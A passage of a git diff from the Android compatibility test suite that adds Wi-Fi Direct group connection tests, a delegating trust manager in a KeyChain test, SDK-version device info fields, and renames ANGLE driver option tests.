      * After user selection, the specified test will be executed.
      */
@@ -245,7 +253,11 @@
                                     mTextView.setText(
                                             R.string.p2p_target_not_found_error);
                                 } else {
-                                    showSelectTargetDialog(peers);
+                                    if (isSearchOnlyOnResume()) {
+                                        mTestCase.start(getTestCaseListener());
+                                    } else {
+                                        showSelectTargetDialog(peers);
+                                    }
                                 }
                             }
                         });
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
index 95c8d09..bc23459 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/ConnectReqTestCase.java
@@ -20,6 +20,7 @@
 import android.net.wifi.WpsInfo;
 import android.net.wifi.p2p.WifiP2pConfig;
 import android.net.wifi.p2p.WifiP2pDevice;
+import android.net.wifi.p2p.WifiP2pGroup;
 import android.net.wifi.p2p.WifiP2pInfo;
 import android.net.wifi.p2p.WifiP2pManager;
 
@@ -178,4 +179,96 @@
 
         return true;
     }
+
+    /**
+     * Tries to connect the target devices with config.
+     * @param config config for connecting a group.
+     * @return true if succeeded.
+     * @throws InterruptedException
+     */
+    protected boolean connectTest(WifiP2pConfig config) throws InterruptedException {
+        notifyTestMsg(R.string.p2p_searching_target);
+
+        /*
+         * Search target device and check its capability.
+         */
+        ActionListenerTest actionListener = new ActionListenerTest();
+        mP2pMgr.discoverPeers(mChannel, actionListener);
+        if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_discover_peers_error);
+            return false;
+        }
+
+        /*
+         * Try to connect the target device.
+         */
+        mP2pMgr.connect(mChannel, config, actionListener);
+        if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_connect_error);
+            return false;
+        }
+
+        /*
+         * Check if the connection broadcast is received.
+         */
+        WifiP2pInfo p2pInfo = mReceiverTest.waitConnectionNotice(TIMEOUT_FOR_USER_ACTION);
+        if (p2pInfo == null) {
+            mReason = mContext.getString(R.string.p2p_connection_error);
+            return false;
+        }
+
+        /*
+         * target MAC address is known until group is formed
+         */
+        WifiP2pGroup group = mReceiverTest.getWifiP2pGroup();
+        if (group != null) {
+            if (!group.isGroupOwner()) {
+                setTargetAddress(group.getOwner().deviceAddress);
+            } else {
+                mReason = mContext.getString(R.string.p2p_connection_error);
+                return false;
+            }
+        } else {
+            mReason = mContext.getString(R.string.p2p_connection_error);
+            return false;
+        }
+
+        /*
+         * Wait until peer gets marked conencted.
+         */
+        notifyTestMsg(R.string.p2p_waiting_for_peer_to_connect);
+        if (mReceiverTest.waitPeerConnected(mTargetAddress, TIMEOUT) != true) {
+            mReason = mContext.getString(R.string.p2p_connection_error);
+            return false;
+        }
+
+        /*
+         * Remove the p2p group manualy.
+         */
+        mP2pMgr.removeGroup(mChannel, actionListener);
+        if (!actionListener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_remove_group_error);
+            return false;
+        }
+
+        notifyTestMsg(R.string.p2p_waiting_for_peer_to_disconnect);
+
+        /*
+         * Check if p2p disconnection broadcast is received
+         */
+        p2pInfo = mReceiverTest.waitDisconnectionNotice(TIMEOUT);
+        if (p2pInfo == null) {
+            mReason = mContext.getString(R.string.p2p_connection_error);
+            return false;
+        }
+
+        /* Wait until peer gets marked disconnected */
+
+        if (mReceiverTest.waitPeerDisconnected(mTargetAddress, TIMEOUT) != true) {
+            mReason = mContext.getString(R.string.p2p_detect_disconnection_error);
+            return false;
+        }
+
+        return true;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/GoWithConfigTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/GoWithConfigTestCase.java
new file mode 100644
index 0000000..b1d28cd
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/GoWithConfigTestCase.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.p2p.testcase;
+
+import android.content.Context;
+import android.net.wifi.p2p.WifiP2pConfig;
+import android.net.wifi.p2p.WifiP2pInfo;
+
+import com.android.cts.verifier.R;
+
+/**
+ * A test case which accepts a connection from p2p client.
+ *
+ * The requester device tries to join this device.
+ */
+public class GoWithConfigTestCase extends TestCase {
+
+    protected P2pBroadcastReceiverTest mReceiverTest;
+
+    public GoWithConfigTestCase(Context context) {
+        super(context);
+    }
+
+    @Override
+    protected void setUp() {
+        super.setUp();
+        mReceiverTest = new P2pBroadcastReceiverTest(mContext);
+        mReceiverTest.init(mChannel);
+    }
+
+    @Override
+    protected boolean executeTest() throws InterruptedException {
+
+        ActionListenerTest listener = new ActionListenerTest();
+
+        /*
+         * Add renderer service
+         */
+        mP2pMgr.addLocalService(mChannel, LocalServices.createRendererService(),
+                listener);
+        if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_add_local_service_error);
+            return false;
+        }
+
+        /*
+         * Add IPP service
+         */
+        mP2pMgr.addLocalService(mChannel, LocalServices.createIppService(),
+                listener);
+        if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_add_local_service_error);
+            return false;
+        }
+
+        /*
+         * Add AFP service
+         */
+        mP2pMgr.addLocalService(mChannel, LocalServices.createAfpService(),
+                listener);
+        if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_add_local_service_error);
+            return false;
+        }
+
+        /*
+         * Start up an autonomous group owner.
+         */
+        WifiP2pConfig config = new WifiP2pConfig.Builder()
+                .setNetworkName("DIRECT-XY-HELLO")
+                .setPassphrase("DEADBEEF")
+                .build();
+        mP2pMgr.createGroup(mChannel, config, listener);
+        if (!listener.check(ActionListenerTest.SUCCESS, TIMEOUT)) {
+            mReason = mContext.getString(R.string.p2p_ceate_group_error);
+            return false;
+        }
+
+        /*
+         * Check whether createGroup() is succeeded.
+         */
+        WifiP2pInfo info = mReceiverTest.waitConnectionNotice(TIMEOUT);
+        if (info == null || !info.isGroupOwner) {
+            mReason = mContext.getString(R.string.p2p_ceate_group_error);
+            return false;
+        }
+
+        // wait until p2p client is joining.
+        return true;
+    }
+
+    @Override
+    protected void tearDown() {
+
+        // wait until p2p client is joining.
+        synchronized (this) {
+            try {
+                wait();
+            } catch (InterruptedException e) {
+                e.printStackTrace();
+            }
+        }
+
+        if (mP2pMgr != null) {
+            mP2pMgr.cancelConnect(mChannel, null);
+            mP2pMgr.removeGroup(mChannel, null);
+        }
+        if (mReceiverTest != null) {
+            mReceiverTest.close();
+        }
+        super.tearDown();
+    }
+
+    @Override
+    public String getTestName() {
+        return "Accept client connection test";
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java
index 14c3ddb..5cc23f1 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pBroadcastReceiverTest.java
@@ -22,6 +22,7 @@
 import android.content.IntentFilter;
 import android.net.wifi.p2p.WifiP2pDevice;
 import android.net.wifi.p2p.WifiP2pDeviceList;
+import android.net.wifi.p2p.WifiP2pGroup;
 import android.net.wifi.p2p.WifiP2pInfo;
 import android.net.wifi.p2p.WifiP2pManager;
 import android.net.wifi.p2p.WifiP2pManager.Channel;
@@ -43,6 +44,7 @@
 
     private WifiP2pDeviceList mPeers;
     private WifiP2pInfo mP2pInfo;
+    private WifiP2pGroup mP2pGroup;
 
     public P2pBroadcastReceiverTest(Context context) {
         this.mContext = context;
@@ -205,6 +207,8 @@
             synchronized(this) {
                 mP2pInfo = (WifiP2pInfo)intent.getParcelableExtra(
                         WifiP2pManager.EXTRA_WIFI_P2P_INFO);
+                mP2pGroup = (WifiP2pGroup) intent.getParcelableExtra(
+                        WifiP2pManager.EXTRA_WIFI_P2P_GROUP);
                 notifyAll();
             }
         }
@@ -216,4 +220,8 @@
         mPeers = peers;
         notifyAll();
     }
+
+    public synchronized WifiP2pGroup getWifiP2pGroup() {
+        return mP2pGroup;
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientConfigTestCase.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientConfigTestCase.java
new file mode 100644
index 0000000..90a77fc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientConfigTestCase.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.p2p.testcase;
+
+import android.content.Context;
+import android.net.wifi.p2p.WifiP2pConfig;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Test case to join a p2p group with wps push button.
+ */
+public class P2pClientConfigTestCase extends ConnectReqTestCase {
+
+    public P2pClientConfigTestCase(Context context) {
+        super(context);
+    }
+
+    @Override
+    protected boolean executeTest() throws InterruptedException {
+
+        WifiP2pConfig config = new WifiP2pConfig.Builder()
+                .setNetworkName("DIRECT-XY-HELLO")
+                .setPassphrase("DEADBEEF")
+                .build();
+
+        return connectTest(config);
+    }
+
+    private String getListenerError(ListenerTest listener) {
+        StringBuilder sb = new StringBuilder();
+        sb.append(mContext.getText(R.string.p2p_receive_invalid_response_error));
+        sb.append(listener.getReason());
+        return sb.toString();
+    }
+
+    @Override
+    public String getTestName() {
+        return "Join p2p group test (config)";
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientWithConfigTestSuite.java b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientWithConfigTestSuite.java
new file mode 100644
index 0000000..5e6ae0b
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/p2p/testcase/P2pClientWithConfigTestSuite.java
@@ -0,0 +1,66 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.p2p.testcase;
+
+import android.content.Context;
+
+import java.util.ArrayList;
+
+/**
+ * Test suite to join a p2p group.
+ */
+public class P2pClientWithConfigTestSuite {
+
+    private static ArrayList<ReqTestCase> sTestSuite = null;
+
+    /**
+     * Return test suite.
+     * @param context
+     * @return
+     */
+    public static ArrayList<ReqTestCase> getTestSuite(Context context) {
+        initialize(context);
+        return sTestSuite;
+    }
+
+    /**
+     * Return the specified test case.
+     * @param context
+     * @param testId
+     * @return
+     */
+    public static ReqTestCase getTestCase(Context context,
+            String testId) {
+        initialize(context);
+
+        for (ReqTestCase test: sTestSuite) {
+            if (test.getTestId().equals(testId)) {
+                return test;
+            }
+        }
+        return null;
+    }
+
+    private static void initialize(Context context) {
+        if (sTestSuite != null) {
+            return;
+        }
+
+        sTestSuite = new ArrayList<ReqTestCase>();
+        sTestSuite.add(new P2pClientConfigTestCase(context));
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java
index 82a99e3..b13902e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/KeyChainTest.java
@@ -46,9 +46,11 @@
 import java.security.Key;
 import java.security.KeyFactory;
 import java.security.KeyStore;
+import java.security.KeyStoreException;
 import java.security.Principal;
 import java.security.PrivateKey;
 import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
 import java.security.cert.CertificateFactory;
 import java.security.cert.X509Certificate;
 import java.security.spec.PKCS8EncodedKeySpec;
@@ -63,6 +65,7 @@
 import javax.net.ssl.TrustManager;
 import javax.net.ssl.TrustManagerFactory;
 import javax.net.ssl.X509ExtendedKeyManager;
+import javax.net.ssl.X509TrustManager;
 
 import libcore.java.security.TestKeyStore;
 import libcore.javax.net.ssl.TestSSLContext;
@@ -282,6 +285,44 @@
         }
     }
 
+    static class CustomTrustManager implements X509TrustManager {
+        private final X509TrustManager mOther;
+        private final X509Certificate mDesiredIssuer;
+
+        CustomTrustManager(X509TrustManager other, X509Certificate desiredIssuer) {
+            mOther = other;
+            mDesiredIssuer = desiredIssuer;
+        }
+
+        public void checkClientTrusted(X509Certificate[] chain, String authType)
+                throws CertificateException {
+            mOther.checkClientTrusted(chain, authType);
+        }
+
+        public void checkServerTrusted(X509Certificate[] chain, String authType)
+                throws CertificateException {
+            mOther.checkServerTrusted(chain, authType);
+        }
+
+        public X509Certificate[] getAcceptedIssuers() {
+            // The issuers specified by the default X509TrustManager do not match the
+            // client certificate installed into KeyChain.
+            // Supply an issuers array that is guaranteed to match the issuer of the
+            // client certificate by using the issuer of the client certificate.
+            if (mDesiredIssuer != null) {
+                Log.w(TAG, "Returning certificate with subject "
+                        + mDesiredIssuer.getSubjectDN().getName());
+                return new X509Certificate[] { mDesiredIssuer };
+            }
+
+            X509Certificate[] issuers = mOther.getAcceptedIssuers();
+            for (X509Certificate issuer: issuers) {
+                Log.w(TAG, "From other: " + issuer.getSubjectDN().getName());
+            }
+            return issuers;
+        }
+    };
+
     private class TestHttpsRequestTask extends AsyncTask<Void, Void, Void> {
         @Override
         protected Void doInBackground(Void... params) {
@@ -315,8 +356,19 @@
                     KeyManagerFactory.getDefaultAlgorithm());
             kmf.init(mKeyStore, EMPTY_PASSWORD);
             SSLContext serverContext = SSLContext.getInstance("TLS");
+
+            X509Certificate desiredIssuer = null;
+            try {
+                desiredIssuer = (X509Certificate) mKeyStore.getCertificateChain(ALIAS)[1];
+            } catch (KeyStoreException e) {
+                log("Error getting client cert: " + e);
+            }
+            CustomTrustManager ctm = new CustomTrustManager(
+                    (X509TrustManager) mTrustManagerFactory.getTrustManagers()[0],
+                    desiredIssuer);
+
             serverContext.init(kmf.getKeyManagers(),
-                    mTrustManagerFactory.getTrustManagers(),
+                    new X509TrustManager[] { ctm },
                     null /* SecureRandom */);
             SSLSocketFactory sf = serverContext.getSocketFactory();
             SSLSocketFactory needsClientAuth = TestSSLContext.clientAuth(sf,
diff --git a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
index e2459d0..16f7610 100644
--- a/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
+++ b/common/device-side/device-info/src/com/android/compatibility/common/deviceinfo/PackageDeviceInfo.java
@@ -32,6 +32,8 @@
     private static final String VERSION_NAME = "version_name";
     private static final String SYSTEM_PRIV = "system_priv";
     private static final String PRIV_APP_DIR = "/system/priv-app";
+    private static final String MIN_SDK = "min_sdk";
+    private static final String TARGET_SDK = "target_sdk";
 
     @Override
     protected void collectDeviceInfo(DeviceInfoStore store) throws Exception {
@@ -45,6 +47,9 @@
             if (pkg.applicationInfo != null) {
                 String dir = pkg.applicationInfo.sourceDir;
                 store.addResult(SYSTEM_PRIV, dir != null && dir.startsWith(PRIV_APP_DIR));
+
+                store.addResult(MIN_SDK, pkg.applicationInfo.minSdkVersion);
+                store.addResult(TARGET_SDK, pkg.applicationInfo.targetSdkVersion);
             }
             store.endGroup();
         }
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
similarity index 98%
rename from tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
rename to common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
index 50e4412..ed45ef4 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRule.java
+++ b/common/device-side/util/src/com/android/compatibility/common/util/SafeCleanerRule.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package android.autofillservice.cts;
+package com.android.compatibility.common.util;
 
 import android.util.Log;
 
diff --git a/common/device-side/util/tests/Android.bp b/common/device-side/util/tests/Android.bp
index e38f0f4..2abba37 100644
--- a/common/device-side/util/tests/Android.bp
+++ b/common/device-side/util/tests/Android.bp
@@ -20,6 +20,8 @@
     static_libs: [
         "compatibility-device-util",
         "junit",
+        "testng", // TODO: remove once Android migrates to JUnit 4.12, which provide assertThrows
+        "truth-prebuilt"
     ],
 
     sdk_version: "test_current",
diff --git a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
similarity index 98%
rename from tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
rename to common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
index 9a2536a..99ea3c0 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/SafeCleanerRuleTest.java
+++ b/common/device-side/util/tests/src/com/android/compatibility/common/util/SafeCleanerRuleTest.java
@@ -14,15 +14,14 @@
  * limitations under the License.
  */
 
-package android.autofillservice.cts;
+package com.android.compatibility.common.util;
 
 import static com.google.common.truth.Truth.assertThat;
 
 import static org.mockito.Mockito.verify;
 import static org.testng.Assert.expectThrows;
 
-import android.autofillservice.cts.SafeCleanerRule.Dumper;
-import android.platform.test.annotations.AppModeFull;
+import com.android.compatibility.common.util.SafeCleanerRule.Dumper;
 
 import com.google.common.collect.ImmutableList;
 
@@ -38,7 +37,6 @@
 import java.util.concurrent.Callable;
 
 @RunWith(MockitoJUnitRunner.class)
-@AppModeFull // Unit test
 public class SafeCleanerRuleTest {
 
     private static class FailureStatement extends Statement {
diff --git a/hostsidetests/angle/AndroidTest.xml b/hostsidetests/angle/AndroidTest.xml
index 1c3df4e..d6d5d6f 100644
--- a/hostsidetests/angle/AndroidTest.xml
+++ b/hostsidetests/angle/AndroidTest.xml
@@ -19,7 +19,7 @@
     <option name="config-descriptor:metadata" key="component" value="graphics" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
-        <option name="test-file-name" value="CtsAngleDebugOptionTestCases.apk" />
+        <option name="test-file-name" value="CtsAngleDeveloperOptionTestCases.apk" />
     </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsAngleIntegrationHostTestCases.jar" />
diff --git a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
index f4a57e2..d0fbe58 100644
--- a/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
+++ b/hostsidetests/angle/app/common/src/com/android/angleIntegrationTest/common/GlesView.java
@@ -43,6 +43,7 @@
     private static final EGL10 EGL = (EGL10) EGLContext.getEGL();
     private EGLConfig eglConfig;
     private EGLDisplay display;
+    private SurfaceHolder mSurfaceHolder;
     private String mRenderer = "";
 
     private final String TAG = this.getClass().getSimpleName();
@@ -52,6 +53,7 @@
       this.setWillNotDraw(false);
       getHolder().addCallback(this);
       createEGL();
+      getHolder().getSurface();
     }
 
     @TargetApi(VERSION_CODES.JELLY_BEAN_MR1)
diff --git a/hostsidetests/angle/app/debugOption/Android.mk b/hostsidetests/angle/app/developerOption/Android.mk
similarity index 95%
rename from hostsidetests/angle/app/debugOption/Android.mk
rename to hostsidetests/angle/app/developerOption/Android.mk
index 64564c7..3bb059f 100644
--- a/hostsidetests/angle/app/debugOption/Android.mk
+++ b/hostsidetests/angle/app/developerOption/Android.mk
@@ -22,7 +22,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_PACKAGE_NAME := CtsAngleDebugOptionTestCases
+LOCAL_PACKAGE_NAME := CtsAngleDeveloperOptionTestCases
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/angle/app/debugOption/AndroidManifest.xml b/hostsidetests/angle/app/developerOption/AndroidManifest.xml
similarity index 93%
rename from hostsidetests/angle/app/debugOption/AndroidManifest.xml
rename to hostsidetests/angle/app/developerOption/AndroidManifest.xml
index 2ccd7d4..fbafe93 100755
--- a/hostsidetests/angle/app/debugOption/AndroidManifest.xml
+++ b/hostsidetests/angle/app/developerOption/AndroidManifest.xml
@@ -16,7 +16,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.angleIntegrationTest.debugOption">
+    package="com.android.angleIntegrationTest.developerOption">
 
     <application>
         <uses-library android:name="android.test.runner" />
@@ -31,7 +31,7 @@
 
     <instrumentation
         android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.angleIntegrationTest.debugOption" />
+        android:targetPackage="com.android.angleIntegrationTest.developerOption" />
 
 </manifest>
 
diff --git a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java b/hostsidetests/angle/app/developerOption/src/com/android/angleIntegrationTest/developerOption/AngleDeveloperOptionActivityTest.java
similarity index 73%
copy from hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
copy to hostsidetests/angle/app/developerOption/src/com/android/angleIntegrationTest/developerOption/AngleDeveloperOptionActivityTest.java
index dcb134b..2e5470e 100644
--- a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
+++ b/hostsidetests/angle/app/developerOption/src/com/android/angleIntegrationTest/developerOption/AngleDeveloperOptionActivityTest.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.angleIntegrationTest.debugOption;
+package com.android.angleIntegrationTest.developerOption;
 
 import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
 import com.android.angleIntegrationTest.common.GlesView;
@@ -35,7 +35,7 @@
 import java.lang.Override;
 
 @RunWith(AndroidJUnit4.class)
-public class AngleDebugOptionActivityTest {
+public class AngleDeveloperOptionActivityTest {
 
     private final String TAG = this.getClass().getSimpleName();
 
@@ -43,12 +43,16 @@
     public ActivityTestRule<AngleIntegrationTestActivity> rule =
             new ActivityTestRule<>(AngleIntegrationTestActivity.class);
 
-    private void validateDebugOption(boolean debugOptionOn) throws Exception {
+    private void validateDeveloperOption(boolean angleEnabled) throws Exception {
         AngleIntegrationTestActivity activity = rule.getActivity();
         GlesView glesView = activity.getGlesView();
         String renderer = glesView.getRenderer();
 
-        if (debugOptionOn) {
+        while(renderer.length() == 0) {
+            renderer = glesView.getRenderer();
+        }
+
+        if (angleEnabled) {
             if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
                 fail("Failure - ANGLE was not loaded: '" + renderer + "'");
             }
@@ -61,12 +65,18 @@
     }
 
     @Test
-    public void testDebugOptionOn() throws Exception {
-        validateDebugOption(true);
+    public void testUseDefaultDriver() throws Exception {
+        // The rules file does not enable ANGLE for this app
+        validateDeveloperOption(false);
     }
 
     @Test
-    public void testDebugOptionOff() throws Exception {
-        validateDebugOption(false);
+    public void testUseAngleDriver() throws Exception {
+        validateDeveloperOption(true);
+    }
+
+    @Test
+    public void testUseNativeDriver() throws Exception {
+        validateDeveloperOption(false);
     }
 }
diff --git a/hostsidetests/angle/app/debugOption/Android.mk b/hostsidetests/angle/app/developerOptionSecondary/Android.mk
similarity index 94%
copy from hostsidetests/angle/app/debugOption/Android.mk
copy to hostsidetests/angle/app/developerOptionSecondary/Android.mk
index 64564c7..c8c94c0 100644
--- a/hostsidetests/angle/app/debugOption/Android.mk
+++ b/hostsidetests/angle/app/developerOptionSecondary/Android.mk
@@ -22,7 +22,7 @@
 # When built, explicitly put it in the data partition.
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
 
-LOCAL_PACKAGE_NAME := CtsAngleDebugOptionTestCases
+LOCAL_PACKAGE_NAME := CtsAngleDeveloperOptionSecondaryTestCases
 
 LOCAL_SDK_VERSION := current
 
diff --git a/hostsidetests/angle/app/debugOption/AndroidManifest.xml b/hostsidetests/angle/app/developerOptionSecondary/AndroidManifest.xml
similarity index 92%
copy from hostsidetests/angle/app/debugOption/AndroidManifest.xml
copy to hostsidetests/angle/app/developerOptionSecondary/AndroidManifest.xml
index 2ccd7d4..8274dd9 100755
--- a/hostsidetests/angle/app/debugOption/AndroidManifest.xml
+++ b/hostsidetests/angle/app/developerOptionSecondary/AndroidManifest.xml
@@ -16,7 +16,7 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.angleIntegrationTest.debugOption">
+    package="com.android.angleIntegrationTest.developerOptionSecondary">
 
     <application>
         <uses-library android:name="android.test.runner" />
@@ -31,7 +31,7 @@
 
     <instrumentation
         android:name="android.support.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.angleIntegrationTest.debugOption" />
+        android:targetPackage="com.android.angleIntegrationTest.developerOptionSecondary" />
 
 </manifest>
 
diff --git a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java b/hostsidetests/angle/app/developerOptionSecondary/src/com/android/angleIntegrationTest/developerOptionSecondary/AngleDeveloperOptionActivityTest.java
similarity index 76%
rename from hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
rename to hostsidetests/angle/app/developerOptionSecondary/src/com/android/angleIntegrationTest/developerOptionSecondary/AngleDeveloperOptionActivityTest.java
index dcb134b..2065a04 100644
--- a/hostsidetests/angle/app/debugOption/src/com/android/angleIntegrationTest/debugOption/AngleDebugOptionActivityTest.java
+++ b/hostsidetests/angle/app/developerOptionSecondary/src/com/android/angleIntegrationTest/developerOptionSecondary/AngleDeveloperOptionActivityTest.java
@@ -14,7 +14,7 @@
  * limitations under the License.
  */
 
-package com.android.angleIntegrationTest.debugOption;
+package com.android.angleIntegrationTest.developerOptionSecondary;
 
 import com.android.angleIntegrationTest.common.AngleIntegrationTestActivity;
 import com.android.angleIntegrationTest.common.GlesView;
@@ -35,7 +35,7 @@
 import java.lang.Override;
 
 @RunWith(AndroidJUnit4.class)
-public class AngleDebugOptionActivityTest {
+public class AngleDeveloperOptionActivityTest {
 
     private final String TAG = this.getClass().getSimpleName();
 
@@ -43,12 +43,12 @@
     public ActivityTestRule<AngleIntegrationTestActivity> rule =
             new ActivityTestRule<>(AngleIntegrationTestActivity.class);
 
-    private void validateDebugOption(boolean debugOptionOn) throws Exception {
+    private void validateDeveloperOption(boolean angleEnabled) throws Exception {
         AngleIntegrationTestActivity activity = rule.getActivity();
         GlesView glesView = activity.getGlesView();
         String renderer = glesView.getRenderer();
 
-        if (debugOptionOn) {
+        if (angleEnabled) {
             if (!renderer.toLowerCase().contains("ANGLE".toLowerCase())) {
                 fail("Failure - ANGLE was not loaded: '" + renderer + "'");
             }
@@ -61,12 +61,18 @@
     }
 
     @Test
-    public void testDebugOptionOn() throws Exception {
-        validateDebugOption(true);
+    public void testUseDefaultDriver() throws Exception {
+        // The rules file does not enable ANGLE for this app
+        validateDeveloperOption(false);
     }
 
     @Test
-    public void testDebugOptionOff() throws Exception {
-        validateDebugOption(false);
+    public void testUseAngleDriver() throws Exception {
+        validateDeveloperOption(true);
+    }
+
+    @Test
+    public void testUseNativeDriver() throws Exception {
+        validateDeveloperOption(false);
     }
 }
diff --git a/hostsidetests/angle/src/android/angle/cts/CtsAngleDebugOptionHostTest.java b/hostsidetests/angle/src/android/angle/cts/CtsAngleDebugOptionHostTest.java
deleted file mode 100644
index ecb206d..0000000
--- a/hostsidetests/angle/src/android/angle/cts/CtsAngleDebugOptionHostTest.java
+++ /dev/null
@@ -1,132 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
